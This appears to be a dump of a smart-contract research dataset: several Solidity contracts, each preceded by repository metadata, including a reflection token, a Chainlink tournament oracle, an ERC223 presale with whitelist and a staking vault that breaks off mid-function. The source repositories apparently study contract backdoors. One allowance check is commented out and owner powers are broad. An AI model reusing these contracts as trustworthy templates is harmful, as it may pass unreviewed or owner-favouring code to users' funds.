_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwnedExcluded = _tOwnedExcluded.sub(tAmount);
_rOwnedExcluded = _rOwnedExcluded.sub(rAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwnedExcluded = _tOwnedExcluded.sub(tAmount);
_rOwnedExcluded = _rOwnedExcluded.sub(rAmount);
_tOwnedExcluded = _tOwnedExcluded.add(tTransferAmount);
_rOwnedExcluded = _rOwnedExcluded.add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
address sender = _msgSender();
uint256 tFee;
uint256 tTransferAmount;
if (_isWhitelisted[sender]) {
tTransferAmount = tAmount;
} else {
tFee = tAmount.div(1000).mul(9);
tTransferAmount = tAmount.sub(tFee);
}
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
uint256 defaultRate = _rTotal.div(_tTotal);
if (_rOwnedExcluded > _rTotal || _tOwnedExcluded > _tTotal) {
return defaultRate;
}
uint256 rSupply = _rTotal.sub(_rOwnedExcluded);
if (rSupply < defaultRate) {
return defaultRate;
}
uint256 tSupply = _tTotal.sub(_tOwnedExcluded);
return rSupply.div(tSupply);
}
}
| 172,532 | 14,105 |
8a93cb8ef081276ced51d108ca173201b29a1a235db1d2f95d9470753fe809d6
| 12,040 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xa58d366f2078900e76bea7f3dbb64766bb9614f4.sol
| 2,711 | 11,895 |
pragma solidity 0.7.4;
interface ITrollbox {
function withdrawWinnings(uint voterId) external;
function updateAccount(uint voterId, uint tournamentId, uint roundId) external;
function isSynced(uint voterId, uint tournamentId, uint roundId) external view returns (bool);
function roundAlreadyResolved(uint tournamentId, uint roundId) external view returns (bool);
function resolveRound(uint tournamentId, uint roundId, uint winningOption) external;
function getCurrentRoundId(uint tournamentId) external view returns (uint);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface KeeperCompatibleInterface {
function checkUpkeep(bytes calldata checkData)
external
returns (bool upkeepNeeded,
bytes memory performData);
function performUpkeep(bytes calldata performData) external;
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
contract ChainLinkOracle2 is KeeperCompatibleInterface {
struct Proposal {
uint id;
uint time;
bool confirmed;
uint roundId;
uint winnerIndex;
uint challengeWinnerIndex;
address challenger;
bytes32 challengeEvidence;
bytes32 confirmationEvidence;
}
mapping (bytes32 => address) public feedMap; // ticker symbol => price aggregator address
mapping (bytes32 => int) public prices; // symbol => price
mapping (uint => Proposal) public proposals;
address public management;
ITrollbox public trollbox;
IERC20 public token;
int constant public PRECISION = 1000000;
uint public numProposals = 0;
uint public challengeDeposit = 0;
uint public challengePeriodSeconds = 60 * 60 * 24;
uint public tournamentId = 1;
uint public startingRoundId = 0;
bytes32[] public tickerSymbols;
event FeedUpdated(bytes32 indexed key, address indexed feedAddr);
event ManagementUpdated(address oldManagement, address newManagement);
event DepositUpdated(uint oldDeposit, uint newDeposit);
event ChallengePeriodUpdated(uint oldPeriod, uint newPeriod);
event TickerSymbolsUpdated(bytes32[] oldKeys, bytes32[] newKeys, int[] newPrices);
event WinnerProposed(uint indexed roundId, uint indexed proposalId, uint winnerIndex, int[] prices);
event WinnerConfirmed(uint indexed roundId, uint indexed proposalId, int[] prices);
event ChallengeMade(uint indexed proposalId, address indexed challenger, uint indexed claimedWinner, bytes32 evidence);
event ChallengerSlashed(uint indexed proposalId, address indexed challenger, uint indexed slashAmount, bytes32 evidence);
event ChallengerVindicated(uint indexed proposalId, address indexed challenger, bytes32 evidence);
modifier managementOnly() {
require (msg.sender == management, 'Only management may call this');
_;
}
modifier latestProposalConfirmed() {
require (proposals[numProposals].confirmed == true || numProposals == 0, 'Unconfirmed proposal present');
_;
}
constructor(address mgmt, address trollboxAddr, address tokenAddr, uint tournament, uint roundId, bytes32[] memory initialSymbols, int[] memory initialPrices) {
management = mgmt;
trollbox = ITrollbox(trollboxAddr);
token = IERC20(tokenAddr);
tournamentId = tournament;
startingRoundId = roundId;
tickerSymbols = initialSymbols;
setPricesInternal(initialPrices);
}
function setManagement(address newMgmt) public managementOnly {
address oldMgmt = management;
management = newMgmt;
emit ManagementUpdated(oldMgmt, newMgmt);
}
function setChallengeDeposit(uint newDeposit) public managementOnly latestProposalConfirmed {
uint oldDeposit = challengeDeposit;
challengeDeposit = newDeposit;
emit DepositUpdated(oldDeposit, newDeposit);
}
function setChallengePeriod(uint newPeriod) public managementOnly latestProposalConfirmed {
uint oldPeriod = challengePeriodSeconds;
challengePeriodSeconds = newPeriod;
emit ChallengePeriodUpdated(oldPeriod, newPeriod);
}
function setPricesInternal(int[] memory newPrices) internal {
for (uint i = 0; i < tickerSymbols.length; i++) {
prices[tickerSymbols[i]] = newPrices[i];
}
}
function getTickerSymbols() public view returns (bytes32[] memory) {
return tickerSymbols;
}
function getCurrentRoundId() public view returns (uint) {
if (numProposals == 0) {
return startingRoundId;
} else {
return proposals[numProposals].roundId;
}
}
function setTickerSymbols(bytes32[] memory newKeys, int[] memory newPrices) public managementOnly latestProposalConfirmed {
bytes32[] memory oldKeys = tickerSymbols;
tickerSymbols = newKeys;
setPricesInternal(newPrices);
getWinner();
emit TickerSymbolsUpdated(oldKeys, newKeys, newPrices);
}
function addFeed(bytes32 key, address feedAddr) public managementOnly {
feedMap[key] = feedAddr;
emit FeedUpdated(key, feedAddr);
}
function getWinner() public view returns (int[] memory, uint) {
int256 maxPriceDiff = -100 * PRECISION;
uint winnerIndex = 0;
int[] memory pricesLocal = new int[](tickerSymbols.length);
for (uint i = 0; i < tickerSymbols.length; i++) {
bytes32 key = tickerSymbols[i];
int priceBefore = prices[key];
address feedAddr = feedMap[key];
require(feedAddr != address(0), 'Must set feed for all ticker symbols');
AggregatorV3Interface chainlink = AggregatorV3Interface(feedAddr);
(,int256 priceNow,,,) = chainlink.latestRoundData();
pricesLocal[i] = priceNow;
int256 priceDiff = ((priceNow - priceBefore) * PRECISION) / priceBefore;
if (priceDiff > maxPriceDiff) {
maxPriceDiff = priceDiff;
winnerIndex = i + 1;
}
}
return (pricesLocal, winnerIndex);
}
function proposeWinner() public latestProposalConfirmed {
uint roundId = getCurrentRoundId() + 1;
require(trollbox.roundAlreadyResolved(tournamentId, roundId) == false, 'Round already resolve');
require(trollbox.getCurrentRoundId(tournamentId) > roundId + 1, 'Round not ready to resolve');
Proposal storage proposal = proposals[++numProposals];
proposal.id = numProposals;
proposal.time = block.timestamp;
proposal.roundId = roundId;
(int[] memory newPrices, uint winnerIndex) = getWinner();
setPricesInternal(newPrices);
proposal.winnerIndex = winnerIndex;
emit WinnerProposed(roundId, numProposals, proposal.winnerIndex, newPrices);
}
function challengeWinner(uint claimedWinner, bytes32 evidence) public {
token.transferFrom(msg.sender, address(this), challengeDeposit);
Proposal storage proposal = proposals[numProposals];
require(proposal.challenger == address(0), 'Proposal already challenged');
require(claimedWinner != proposal.winnerIndex, 'Must claim different winner than proposed winner');
require(block.timestamp - proposal.time < challengePeriodSeconds, 'Challenge period has passed');
proposal.challenger = msg.sender;
proposal.challengeWinnerIndex = claimedWinner;
proposal.challengeEvidence = evidence;
emit ChallengeMade(numProposals, msg.sender, claimedWinner, evidence);
}
function confirmWinnerUnchallenged() public {
Proposal memory proposal = proposals[numProposals];
require(proposal.challenger == address(0), 'Proposal has been challenged');
require(block.timestamp - proposal.time > challengePeriodSeconds, 'Challenge period has not passed');
confirmWinnerInternal();
}
function confirmWinnerChallenged(uint chosenWinnerIndex, int[] memory localPrices, bytes32 evidence) public managementOnly {
Proposal storage proposal = proposals[numProposals];
require(proposal.challenger != address(0), 'Proposal has not been challenged');
require(chosenWinnerIndex <= tickerSymbols.length, 'Winner index out of range');
require(chosenWinnerIndex > 0, 'Winner index must be positive');
require(localPrices.length == tickerSymbols.length, 'Must specify prices for all ticker symbols');
proposal.winnerIndex = chosenWinnerIndex;
proposal.confirmationEvidence = evidence;
setPricesInternal(localPrices);
confirmWinnerInternal();
if (chosenWinnerIndex != proposal.challengeWinnerIndex) {
token.transfer(address(0), challengeDeposit);
emit ChallengerSlashed(numProposals, proposal.challenger, challengeDeposit, evidence);
} else {
token.transfer(proposal.challenger, challengeDeposit);
emit ChallengerVindicated(numProposals, proposal.challenger, evidence);
}
}
function confirmWinnerInternal() internal {
Proposal storage proposal = proposals[numProposals];
require(proposal.id == numProposals, 'Invalid proposalId');
require(proposal.confirmed == false, 'Already confirmed proposal');
proposal.confirmed = true;
int[] memory pricesLocal = new int[](tickerSymbols.length);
for (uint i = 0; i < tickerSymbols.length; i++) {
pricesLocal[i] = prices[tickerSymbols[i]];
}
emit WinnerConfirmed(proposal.roundId, proposal.id, pricesLocal);
trollbox.resolveRound(tournamentId, proposal.roundId, proposal.winnerIndex);
}
function checkUpkeep(bytes calldata checkData) external view override returns (bool, bytes memory) {
Proposal storage currentProposal = proposals[numProposals];
if (currentProposal.confirmed || numProposals == 0) {
uint roundId = getCurrentRoundId() + 1;
bool roundAlreadyResolved = trollbox.roundAlreadyResolved(tournamentId, roundId);
bool roundResolvable = trollbox.getCurrentRoundId(tournamentId) > roundId + 1;
return (!roundAlreadyResolved && roundResolvable, abi.encode(false));
} else {
bool unchallenged = currentProposal.challenger == address(0);
bool pastChallengePeriod = block.timestamp - currentProposal.time > challengePeriodSeconds;
return (unchallenged && pastChallengePeriod, abi.encode(true));
}
}
function performUpkeep(bytes calldata performData) external override {
bool confirm = abi.decode(performData, (bool));
if (confirm) {
confirmWinnerUnchallenged();
} else {
proposeWinner();
}
}
}
| 276,959 | 14,106 |
0619ecdf41a7769a864a7857ad90600f203664cad6147ad9c9f63c4432cf71d2
| 20,515 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x0b6e701cd51a9e1b5829a4c4fe2130d60c0c4f6c.sol
| 4,076 | 14,608 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted = false;
modifier inNormalState {
require(!halted);
_;
}
modifier inEmergencyState {
require(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner inNormalState {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner inEmergencyState {
halted = false;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Burnable is StandardToken {
using SafeMath for uint;
event Burn(address indexed from, uint value);
function burn(uint _value) returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint _value) returns (bool success) {
require(_from != 0x0 && _value > 0 && balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Burn(_from, _value);
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
require(_to != 0x0); //use burn
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
require(_to != 0x0); //use burn
return super.transferFrom(_from, _to, _value);
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract AnythingAppToken is Burnable, Ownable {
string public constant name = "AnyCoin";
string public constant symbol = "ANY";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 400000000 * 1 ether;
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function AnythingAppToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
releaseAgent = addr;
}
function release() onlyReleaseAgent inReleaseState(false) public {
released = true;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call Burnable.transferForm()
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint _value, bytes _data) canTransfer(msg.sender) returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
uint codeLength;
bytes memory empty;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(msg.sender, _to, _value);
return true;
}
function burn(uint _value) onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint _value) onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
}
contract InvestorWhiteList is Ownable {
mapping (address => bool) public investorWhiteList;
mapping (address => address) public referralList;
function InvestorWhiteList() {
}
function addInvestorToWhiteList(address investor) external onlyOwner {
require(investor != 0x0 && !investorWhiteList[investor]);
investorWhiteList[investor] = true;
}
function removeInvestorFromWhiteList(address investor) external onlyOwner {
require(investor != 0x0 && investorWhiteList[investor]);
investorWhiteList[investor] = false;
}
//when new user will contribute ICO contract will automatically send bonus to referral
function addReferralOf(address investor, address referral) external onlyOwner {
require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral);
referralList[investor] = referral;
}
function isAllowed(address investor) constant external returns (bool result) {
return investorWhiteList[investor];
}
function getReferralOf(address investor) constant external returns (address result) {
return referralList[investor];
}
}
contract PriceReceiver {
address public ethPriceProvider;
modifier onlyEthPriceProvider() {
require(msg.sender == ethPriceProvider);
_;
}
function receiveEthPrice(uint ethUsdPrice) external;
function setEthPriceProvider(address provider) external;
}
contract AnythingAppTokenPreSale is Haltable, PriceReceiver {
using SafeMath for uint;
string public constant name = "AnythingAppTokenPreSale";
AnythingAppToken public token;
InvestorWhiteList public investorWhiteList;
address public beneficiary;
uint public tokenPriceUsd;
uint public totalTokens;//in wei
uint public ethUsdRate;
uint public collected = 0;
uint public withdrawn = 0;
uint public tokensSold = 0;
uint public investorCount = 0;
uint public weiRefunded = 0;
uint public startTime;
uint public endTime;
bool public crowdsaleFinished = false;
mapping (address => bool) public refunded;
mapping (address => uint) public deposited;
uint public constant BONUS_LEVEL_1 = 40;
uint public constant BONUS_LEVEL_2 = 35;
uint public constant BONUS_LEVEL_3 = 30;
uint public firstStage;
uint public secondStage;
uint public thirdStage;
uint public constant MINIMAL_PURCHASE = 250 ether;
uint public constant LIMIT_PER_USER = 500000 ether;
event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount);
event NewReferralTransfer(address indexed investor, address indexed referral, uint tokenAmount);
event Refunded(address indexed holder, uint amount);
event Deposited(address indexed holder, uint amount);
modifier preSaleActive() {
require(block.timestamp >= startTime && block.timestamp < endTime);
_;
}
modifier preSaleEnded() {
require(block.timestamp >= endTime);
_;
}
modifier inWhiteList() {
require(investorWhiteList.isAllowed(msg.sender));
_;
}
function AnythingAppTokenPreSale(address _token,
address _beneficiary,
address _investorWhiteList,
uint _totalTokens,
uint _tokenPriceUsd,
uint _baseEthUsdPrice,
uint _firstStage,
uint _secondStage,
uint _thirdStage,
uint _startTime,
uint _endTime) {
ethUsdRate = _baseEthUsdPrice;
tokenPriceUsd = _tokenPriceUsd;
totalTokens = _totalTokens.mul(1 ether);
token = AnythingAppToken(_token);
investorWhiteList = InvestorWhiteList(_investorWhiteList);
beneficiary = _beneficiary;
firstStage = _firstStage.mul(1 ether);
secondStage = _secondStage.mul(1 ether);
thirdStage = _thirdStage.mul(1 ether);
startTime = _startTime;
endTime = _endTime;
}
function() payable inWhiteList {
doPurchase(msg.sender);
}
function tokenFallback(address _from, uint _value, bytes _data) public pure { }
function doPurchase(address _owner) private preSaleActive inNormalState {
if (token.balanceOf(msg.sender) == 0) investorCount++;
uint tokens = msg.value.mul(ethUsdRate).div(tokenPriceUsd);
address referral = investorWhiteList.getReferralOf(msg.sender);
uint referralBonus = calculateReferralBonus(tokens);
uint bonus = calculateBonus(tokens, referral);
tokens = tokens.add(bonus);
uint newTokensSold = tokensSold.add(tokens);
if (referralBonus > 0 && referral != 0x0) {
newTokensSold = newTokensSold.add(referralBonus);
}
require(newTokensSold <= totalTokens);
require(token.balanceOf(msg.sender).add(tokens) <= LIMIT_PER_USER);
tokensSold = newTokensSold;
collected = collected.add(msg.value);
deposited[msg.sender] = deposited[msg.sender].add(msg.value);
token.transfer(msg.sender, tokens);
NewContribution(_owner, tokens, msg.value);
if (referralBonus > 0 && referral != 0x0) {
token.transfer(referral, referralBonus);
NewReferralTransfer(msg.sender, referral, referralBonus);
}
}
function calculateBonus(uint _tokens, address _referral) private returns (uint _bonuses) {
uint bonus;
if (tokensSold < firstStage) {
bonus = BONUS_LEVEL_1;
} else if (tokensSold >= firstStage && tokensSold < secondStage) {
bonus = BONUS_LEVEL_2;
} else {
bonus = BONUS_LEVEL_3;
}
if (_referral != 0x0) {
bonus += 5;
}
return _tokens.mul(bonus).div(100);
}
function calculateReferralBonus(uint _tokens) internal constant returns (uint _bonus) {
return _tokens.mul(20).div(100);
}
function withdraw() external onlyOwner {
uint withdrawLimit = 500 ether;
if (withdrawn < withdrawLimit) {
uint toWithdraw = collected.sub(withdrawn);
if (toWithdraw + withdrawn > withdrawLimit) {
toWithdraw = withdrawLimit.sub(withdrawn);
}
beneficiary.transfer(toWithdraw);
withdrawn = withdrawn.add(toWithdraw);
return;
}
require(block.timestamp >= endTime);
beneficiary.transfer(collected);
token.transfer(beneficiary, token.balanceOf(this));
crowdsaleFinished = true;
}
function refund() external preSaleEnded inNormalState {
require(refunded[msg.sender] == false);
uint refund = deposited[msg.sender];
require(refund > 0);
deposited[msg.sender] = 0;
refunded[msg.sender] = true;
weiRefunded = weiRefunded.add(refund);
msg.sender.transfer(refund);
Refunded(msg.sender, refund);
}
function receiveEthPrice(uint ethUsdPrice) external onlyEthPriceProvider {
require(ethUsdPrice > 0);
ethUsdRate = ethUsdPrice;
}
function setEthPriceProvider(address provider) external onlyOwner {
require(provider != 0x0);
ethPriceProvider = provider;
}
function setNewWhiteList(address newWhiteList) external onlyOwner {
require(newWhiteList != 0x0);
investorWhiteList = InvestorWhiteList(newWhiteList);
}
}
| 146,666 | 14,107 |
094cb495b1688c12b34d9fe70604b5f180f3cf4b726de571e17c7ec132fed573
| 13,632 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
GemSwap/contracts/ZGemVault.sol
| 3,127 | 12,364 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: not owner");
_;
}
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract ZGemVault is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
// Max harvest interval: 14 days
uint256 public constant MAXIMUM_HARVEST_INTERVAL = 14 days;
// Info of each user.
struct UserInfo {
uint256 amount; // How many x tokens the user has staked.
uint256 rewardDebt; // Reward debt.
uint256 rewardLockedUp; // Reward locked up.
uint256 nextHarvestUntil; // When can the user harvest again.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract open to users to mine.
uint256 outputTime; // Mining pool supply sustainable time. ie. 7days
uint256 lastRewardTime; // Last block timestamp that rewards distribution occurs.
uint256 earnTokenPerShare; // Accumulated rewards per share, times 1e12. See below.
uint256 harvestInterval; // Harvest interval in seconds.
uint256 totalStakedToken; // Total x tokens staked in Pool.
bool status; // Pool status.
}
// Stake token: xZGem
IERC20 public stakeToken;
// Info of each pool
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// The block timestamp when mining starts.
uint256 public startTime;
// Total locked up rewards
uint256 public totalLockedUpRewards;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardLockedUp(address indexed user, uint256 indexed pid, uint256 amountLockedUp);
constructor(address _token) {
startTime = block.timestamp + (10 * 365 * 24 * 60 * 60);
stakeToken = IERC20(_token);
}
// Return reward multiplier over the given _from time to _to time.
function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) {
return _to - _from;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// View function to see pending rewards on frontend.
function pendingRewards(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo memory pool = poolInfo[_pid];
UserInfo memory user = userInfo[_pid][_user];
uint256 earnTokenPerShare = pool.earnTokenPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime &&
lpSupply > 0 &&
pool.totalStakedToken > 0 &&
pool.outputTime > 0) {
uint256 multiplier = getMultiplier(pool.lastRewardTime,
block.timestamp);
uint256 tokenReward = multiplier * lpSupply / pool.outputTime;
earnTokenPerShare += tokenReward * 1e12 / pool.totalStakedToken;
}
uint256 pending = user.amount * earnTokenPerShare / 1e12 - user.rewardDebt;
return pending + user.rewardLockedUp;
}
// View function to see if user can harvest earnToken.
function canHarvest(uint256 _pid, address _user) public view returns (bool) {
UserInfo memory user = userInfo[_pid][_user];
return
block.timestamp >= startTime &&
block.timestamp >= user.nextHarvestUntil;
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 supply = pool.lpToken.balanceOf(address(this));
if (supply == 0 || pool.totalStakedToken == 0 || pool.outputTime == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardTime, block.timestamp);
uint256 tokenReward = multiplier * supply / pool.outputTime;
pool.earnTokenPerShare += tokenReward * 1e12 / pool.totalStakedToken;
pool.lastRewardTime = block.timestamp;
}
// Deposit tokens to the pool for earnToken allocation.
function deposit(uint256 _pid, uint256 _amount) public nonReentrant {
require(block.timestamp >= startTime, "Can not deposit before start");
PoolInfo storage pool = poolInfo[_pid];
require(pool.status == true, "Invalid pool");
UserInfo storage user = userInfo[_pid][_msgSender()];
updatePool(_pid);
payOrLockPendingRewards(_pid);
if (_amount > 0) {
uint256 beforeDeposit = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(_msgSender(), address(this), _amount);
uint256 afterDeposit = stakeToken.balanceOf(address(this));
_amount = afterDeposit - beforeDeposit;
user.amount += _amount;
pool.totalStakedToken += _amount;
}
user.rewardDebt = user.amount * pool.earnTokenPerShare / 1e12;
emit Deposit(_msgSender(), _pid, _amount);
}
// Withdraw tokens from the pool.
function withdraw(uint256 _pid, uint256 _amount) public nonReentrant {
require(block.timestamp >= startTime, "Can not withdraw before start");
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_msgSender()];
// Make sure that user can only withdraw from his pool
require(user.amount >= _amount, "User amount not enough");
// Cannot withdraw more than pool's staked
require(pool.totalStakedToken >= _amount, "Pool total not enough");
// Cannot withdraw more than pool's balance
require(stakeToken.balanceOf(address(this)) >= _amount, "Pool balance not enough");
updatePool(_pid);
payOrLockPendingRewards(_pid);
if (_amount > 0) {
user.amount -= _amount;
pool.totalStakedToken -= _amount;
stakeToken.safeTransfer(_msgSender(), _amount);
}
